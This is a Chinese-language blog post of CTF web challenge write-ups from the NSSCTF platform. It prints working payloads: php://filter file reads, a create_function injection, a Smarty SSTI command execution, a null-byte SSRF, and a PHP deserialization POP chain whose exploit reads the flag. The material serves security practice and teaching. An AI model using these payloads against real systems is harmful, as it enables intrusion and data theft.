NSSCTF暑假刷题记录(一)

发布于 2023-07-18  467 次阅读


  • 第一题开始刷着走,好吧,有的题写上来估计会被当作任务凑数给骂死🤔

[NISACTF 2022]checkin

 <?php
error_reporting(0);
include "flag.php";
// ‮⁦NISACTF⁩⁦Welcome to
if ("jitanglailo" == $_GET[ahahahaha] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦N1SACTF" == $_GET[‮⁦Ugeiwo⁩⁦cuishiyuan]) { //tnnd! weishenme b
    echo $FLAG;
}
show_source(__FILE__);
?> 
  • 看上去是个简单的传参,但是传了又不对

  • 直接复制原文,才发现问题,每次复制左边的时候,右边也会被复制上

  • 复制到notepad,原来是有一些特殊符号

  • 这里不能显示的符号在notepad里面是lri和pdi,实际上是左右定位符(U+2066 和 U+2069)是Unicode字符集中的控制字符,用于调整文本显示的方向,具体怎么用的可以不管,直接在浏览器的界面cv进去即可(因为文本显示器把控制符显示出来,而且把作用去掉了,文本顺序就乱了)
  • 前面的ahahahaha=jitanglailo没有控制字符照传不误,分别复制cuishiyuan和N1SACTF进行url编码,如果浏览器没有自动选择控制字符得刷新一下页面
?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6
Flag!%E2%81%A9%E2%81%A6N1SACTF

[鹏城杯 2022]简单包含

 <?php 
highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php; 
  • post传参试一下
flag=/var/www/html/flag.php

  • 触发了过滤,那伪协议读一下index.php呢
flag=php://filter/convert.base64-encode/resource=/var/www/html/index.php

  • 将得到结果base64解码
<?php

$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
    echo 'nssctf waf!';
} else {
    @include($path);
}
?>
  • 可以看到过滤了flag,但是命令长度大于800时flag就不会被过滤了,可以用之前的filter随便加过滤器的老知识点
flag=php://filter/convert.base64-encode/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/resource=/var/www/html/index.php

  • 可不是水字数,wp本来就这么长😋解码即可得到flag
  • 看了别人的报告,这里凑字数也可以传一些不存在的参数进去凑够800字

[NISACTF 2022]level-up

  • dirsearch扫描目录,找到了爬虫协议,其实不扫也该先试试的

  • 泄露了level_2_1s_h3re.php文件
User-agent: *
Disallow: 
Disallow: level_2_1s_h3re.php
  • 一个简单的md5碰撞,不要求文件头部头部
 
  • 应该是版本问题,数组绕过,md5计算长度绕过和0e绕过都失败了,fastcoll生成值编码后和不编码都过不了,直接抄网上的wp,抄了几个都过不了,应该是环境坏了,直接做后面的Level___3.php
 <?php
//here is level 3
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (sha1($a1) === sha1($a2)){
        echo $level4;
    }
    else{
        die("level 3 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?> 
  • md5变成sha,用网上现成的碰撞值,果然还是过不了,下一关level_level_4.php
 
  • 这个考点就是三面黑魔法那道题的非法传参了https://drinkflower.asia/wordpress/archives/328#BlackMagic
  • 非法参数的部分会被代替,如果会被代替字符前面有一个[,则该字符就会保持原样,这里利用了非法部分被_替换而构造_NI_SA,+没被过滤,会被替换成\,所以直接传NI+SA+
?NI+SA+=txw4ever

  • 进入下一关55_5_55.php
  • 可以随便传一个参数,但是第一个参数为空,第二参数才是命令执行,满足的就是createfunction了,上学期处理过了createfunction的利用https://drinkflower.asia/wordpress/archives/405

  • 但是这里的正则不允许a参数的第一位是数字字母,可以使用\绕过

在 PHP 中,函数名称可以包含反斜线 "",但这并不是在函数调用时添加的前缀。相反,反斜线是用于命名空间分隔符,用于
区分不同命名空间中的函数、类或常量。

下面是一些常见的函数示例,其中包含反斜线 "":

命名空间函数调用:

php
namespace MyNamespace;

function myFunction() {
    // 函数定义
}

$result = MyNamespace\myFunction(); // 带有命名空间的函数调用
类方法调用:

php
class MyClass {
    public function myMethod() {
        // 方法定义
    }
}

$obj = new MyClass();
$result = $obj->myMethod(); // 类方法调用
在上述示例中,反斜线 "" 在命名空间函数调用和类方法调用时使用。它们用于指明函数或方法属于特定的命名空间或类。

然而,除了这些情况外,在普通函数调用时不需要在函数名称前添加反斜线。以下是一些常见的函数调用示例:

php
echo strlen("Hello");          // 输出:5
$result = implode(",", $array); // 使用逗号连接数组元素
总结起来,在绝大多数情况下,在函数名称前面添加反斜线 "" 是不必要的。只有在命名空间函数调用和类方法调用时,才需
要使用反斜线来指定函数或方法所属的命名空间或类。
  • 简单来说\有以下特点
  1. 加不加没啥区别,加没加在show_source(__FILE__);都没啥区别

  1. 有些函数能加,有些不能,上面再error_reporting前面加没问题,这里再include前面加就不行了

  • 恰巧的是createfunction是可以加\的,成功得到flag
http://node3.anna.nssctf.cn:28214/55_5_55.php?a=\create_function&b=}system(%27tac%20/flag%27);//

[CISCN 2019华东南]Web11

  • 注意到右上角把ip显示出来了,页面提示了显示的ip可能由xff控制

  • 验证一下,抓包改xff成功改变了页面显示值,这也是典型的ssti特征

  • 那么需要判定模板,经过测试确定是Smarty 框架,这个框架是第一次碰

  • 查了一下cve不少https://xz.aliyun.com/t/11108,要用的时候回来瞅瞅,这里记录一些最简单的利用:
  1. 查看版本号
{$smarty.version}
  1. Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令
{php}phpinfo();{/php}
  1. {literal}可以让块中间的内容忽略Smarty的解析。忽略后我们就可以插自己想要的恶意代码
{literal}<script language="php">phpinfo();</script>{/literal}
  1. 全部的PHP条件表达式和函数都可以在if内使用。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. if和其他两个不一样,==里面的php代码只能是单句,不能加分号==
{if phpinfo();}{/if}
  • 这里查到版本号是3.1.30,==但是Smarty 模板引擎自 Smarty 3.1.0 版本开始废弃了 {php}{/php} 标签==。而php7已经不支持<script language="php">这种写法了。

  • 所以这里使用if,成功实现rce,后面把防御塔反杀的画面就不放出来了吧🐶
{if system('cat /flag')}{/if}

[GKCTF 2020]cve版签到

  • 查了一下,原来原题有个hint:cve-2020-7066,查了一下
在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使
用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假
设,并可能将某些信息发送到错误的服务器。
  • 抓包在header中找到提示flag在本地,这里不得不吐槽了,不挂vpn就打不开做题的网页,挂了火狐又抓不到包,被迫浏览器里面看,如果要改就麻烦了😤

  • 这里要求必须访问*.ctfhub.com,加上我们的%00截断的cve,payload就很明显了
?url=http://127.0.0.1%00www.ctfhub.com
?url=http://127.0.0.123%00www.ctfhub.com

  • 回去翻了一下ssrf那一篇https://drinkflower.asia/wordpress/archives/248,里面没有果然没写这个,一点印象都没有,除了.1很多都可以访问loaclhost

[GDOUCTF 2023]泄露的伪装

  • 抓包,看源代码,都没有什么发现,先扫吧

  • 分别访问扫到的test.txt和www.rar,分别提示了隐藏文件/orzorz.php和代码
 <?php
error_reporting(0);
if(isset($_GET['cxk'])){
    $cxk=$_GET['cxk'];
    if(file_get_contents($cxk)=="ctrl"){
        echo $flag;
    }else{
        echo "洗洗睡吧";
    }
}else{
    echo "nononoononoonono";
}
?>
  • 又是小黑子的题,需要传参文件名,让文件内容是ctrl才能输出flag,服务器上多半没有文件的内容是ctrl
  • 这里可以使用data协议的data://text/plain,这个数据流封装器在前面死亡绕过的报告里面提到过,可以通过数据流传输一段文字,所以执行data://text/plain,ctrl的文件包含函数file_get_contents('data://text/plain,ctrl')本身就是ctrl的值,即可实现读取,也可以加个base64的过滤器,格式data://text/plain;base64,Y3RybA==
?cxk=data://text/plain,ctrl

[NISACTF 2022]babyserialize

 <?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>
  • 一个反序列化的题,NISA类的invoke函数中有eval,大概率就是目标函数了这里把checkcheck和hint注释掉了,又包含了waf.php,估计是提示waf.php里面有这些函数,可以先把hint打印出来看看,exp
 <?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}
$a=new NISA();
echo serialize($a);
  • 得到了提示:flag is in /

  • 开始找pop链了,这里反推一下,要进invoke方法,就得有对象被当成函数,Ilovetxw的toString方法是满足的,只需要将$bb的值设置成four即可,要进toString方法,就得有对象被当成字符串,在four的set中方法,调用了strolower方法,会把参数当作字符串处理,二触发set,需要复制不能赋值的参数NISA的call有赋值操作,可以触发,而call是调用不存在的函数触发,正好可以被被wakeup触发,那么链子就出来了,exp如下
 <?php
include "waf.php";
class NISA{
    public $fun;
    public $txw4ever="system('ls /');";
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}

$a=new tianxiwei();
$a->ext=new ilovetxw();
$a->ext->huang=new four();
$a->ext->huang->a=new ilovetxw();
$a->ext->huang->a->su=new nisa();
echo urlencode(serialize($a));

  • 提示了错误,应该是check函数的锅,查了一下wp,具体过滤了什么不知道,直接使用大写绕过即可
 <?php
include "waf.php";
class NISA{
    public $fun;
    public $txw4ever="SYSTEM('ls /');";
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}

$a=new tianxiwei();
$a->ext=new ilovetxw();
$a->ext->huang=new four();
$a->ext->huang->a=new ilovetxw();
$a->ext->huang->a->su=new nisa();
echo urlencode(serialize($a));

  • 成功读到文件,将命令执行换成读flag即可,最终payload
O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang
%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%
22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%2
2%3Bs%3A18%3A%22SYSTEM%28%22tac+%2Ff%2A%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3BN%3B%7Ds%3A
2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

[NISACTF 2022]bingdundun~

  • 没怎么用过phar或者zip协议,做这道题顺便补了一下,下一篇报告单独记录一下这个和相关知识点

[NSSCTF 2022 Spring Recruit]babyphp

  • phptricks的题目,拿flag需要过三个if
  • 第一个if需要满足a没有数字,但是能过intval函数的判定,典型的数组绕过,intval处理不了数组
a[]=1
  • 第二个if过md5弱碰撞,拿网上现成的即可,或者直接数组绕过,md5处理不了数组都会返回null就强相等了
b1[]=1&b2[]=2
  • 第三个if在第二个的基础上要求传入字符串,那就拿网上现成的0e就能过,如果一个字符串被md5后结果以0e开头,php就会认为这是一个科学记数法,并且自动取整其值为0,下面的都能用
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020
c1=QNKCDZO&c2=s878926199a
  • 汇总起来
a[]=1&b1[]=1&b2[]=2&c1=QNKCDZO&c2=s878926199a

  • 最近用nss平台得换着浏览器换着ip才能做题,还真学到点东西,比如hackbar旧版本没法装在谷歌新版的浏览器了,连了vpn不能抓包,但是可以用hackbar,还怪好的嘞🐶

[GDOUCTF 2023]EZ WEB

  • 没怎么做过的flask的题,点按钮没啥反应

  • ,查看页面源代码发现一个src的网页

  • 访问后下载得到源码
import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
  return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
  return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
  return open('flag').read()
  • 先得了解一下app.py是干什么的
在使用 Flask 框架开发 Web 应用程序时,通常会创建一个名为 app.py 的 Python 脚本。app.py 是一个常见的命名
约定,用于保存应用程序的入口点和配置。app.py 文件中通常包含以下内容:

1.导入 Flask 相关的模块和类:
from flask import Flask, render_template, request, ...

2.创建 Flask 应用程序实例:
app = Flask(__name__)

3.定义路由和视图函数:
@app.route('/')
def index():
    return 'Hello, World!'

4.运行应用程序:
python
if __name__ == '__main__':
    app.run()

通过在 app.py 中定义路由和视图函数,可以指定不同 URL 路径对应的页面或功能。当用户通过访问特定的 URL 时,Fla
sk 应用程序将调用相应的视图函数,并返回对应的响应。
  • 其中这个定义路由的意思如下:
在Web应用程序中,路由(Route)是指将URL与相应的处理函数(视图函数)进行关联的过程。定义路由是为了告诉应用
程序,当用户请求特定的URL时,应该调用哪个处理函数来处理该请求。

在Flask框架中,可以通过装饰器 @app.route() 来定义路由。具体而言,使用 @app.route() 装饰器可以将URL模式
与一个或多个视图函数进行绑定。例如,假设我们的应用程序有一个主页,它对应的URL路径是 /,我们可以使用装饰器来
定义该路由:

@app.route('/')
def index():
    return 'Hello, World!'

上述代码定义了一个路由规则,即当用户访问根目录 / 时,会调用名为 index 的视图函数,并返回字符串 'Hello
, World!'。

这样,当用户访问应用程序的根URL时,Flask会查找匹配的路由规则,如果找到匹配的路由,就会执行与之关联的视图函
数,然后将返回的响应发送给客户端。

通过定义路由,我们可以建立URL与相应处理函数之间的映射关系,从而实现Web应用程序的不同功能和页面的访问。
  • 现在回来看app.py的这个部分,意思旧很明显了,使用put方法访问/super-secret-route-nobody-will-guess就会触发flag函数,从而打印出flag
@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
  return open('flag').read()
  • burp抓包改请求访问一下,成功拿到flag

届ける言葉を今は育ててる
最后更新于 2024-03-09